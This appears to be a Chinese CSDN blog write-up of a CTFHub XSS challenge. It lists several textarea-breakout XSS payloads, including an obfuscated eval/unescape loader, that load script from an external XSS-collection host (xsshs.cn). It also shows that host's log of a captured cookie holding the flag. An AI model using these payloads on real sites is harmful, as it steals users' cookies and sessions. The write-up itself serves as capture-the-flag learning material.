#### 如何使用:

将如下代码植入怀疑出现xss的地方(注意'的转义),即可在 项目内容 观看XSS效果。

</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/sWSf></sCrIpT>

#### 或者

</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElemen
t%28%22script%22%29%3Bb.src%3D%22%2F%2Fxsshs.cn%2FsWSf%22%2BMath.random%28%29%3B%28document.getElementsByTag
Name%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>

再或者以你任何想要的方式插入

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>

↓↓↓! ~极限代码~! (可以不加最后的>回收符号, 下面代码已测试成功)↓↓↓

<sCRiPt/SrC=//xsshs.cn/sWSf>

#### ↓↓↓图片探测↓↓↓

图片插件: //xsshs.cn/sWSf/xss.jpg【必须勾选默认模块】

<img sRC=//xsshs.cn/sWSf/xss.jpg>

完成

CSDN @迷失的蓝色小恐龙

Domain: 🛓	部	✓←←₽₽	处可选择需要查看的域名	
〕 +全部	时间	接收的内容	Request Headers	操作
) -折叠	2021-09-02 00:22:00	<ul> <li>location : http://challenge-55f 124d006083882.sandbox.ctf hub.com:10800/?name=%3 C%2FtExtArEa%3E%27%2 2%3E%3CsCRiPt sRC%3 D%2F%2Fxsshs.cn%2FsW Sf%3E%3C%2FsCrlpT%3E</li> <li>toplocation : http://challenge- 55f124d006083882.sandbo x.ctfhub.com:10800/?name =%3C%2FtExtArEa%3E%2 7%22%3E%3CsCRiPt sR C%3D%2F%2Fxsshs.cn%2 FsWSf%3E%3C%2FsCrlp T%3E</li> <li>cookie : flag=ctfhub{bb38f6f 4eb6f3a1740726f80}</li> <li>opener :</li> <li>title :</li> </ul>	<ul> <li>HTTP_REFERER : http://ch allenge-55f124d006083882. sandbox.ctfhub.com:10800/? name=%3C%2FtExtArEa%3 E%27%22%3E%3CsCRiPt+ sRC%3D%2F%2Fxsshs.c n%2FsWSf%3E%3C%2FsC rlpT%3E</li> <li>HTTP_USER_AGENT : Moz illa/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM L, like Gecko) HeadlessChro me/70.0.3538.110 Safari/53 7.36</li> <li>REMOTE_ADDR : 121.196. 63.59</li> <li>IP-ADDR : 浙江杭州阿里云</li> <li>code :</li> <li>screenshot : 右键新窗口打开 查看截图</li> </ul>	删除
〕 +展开	2021-09-02 00:18:45	location : http://challenge-55f	HTTP_REFERER : http://ch	删除

总结:一开始完XSS还是得靠别人生成的代码去攻击,我一开始还在想我如何写出自己的XSS攻击代码(这应该需要很好的js基础)

#### 本题结束。

(已完结)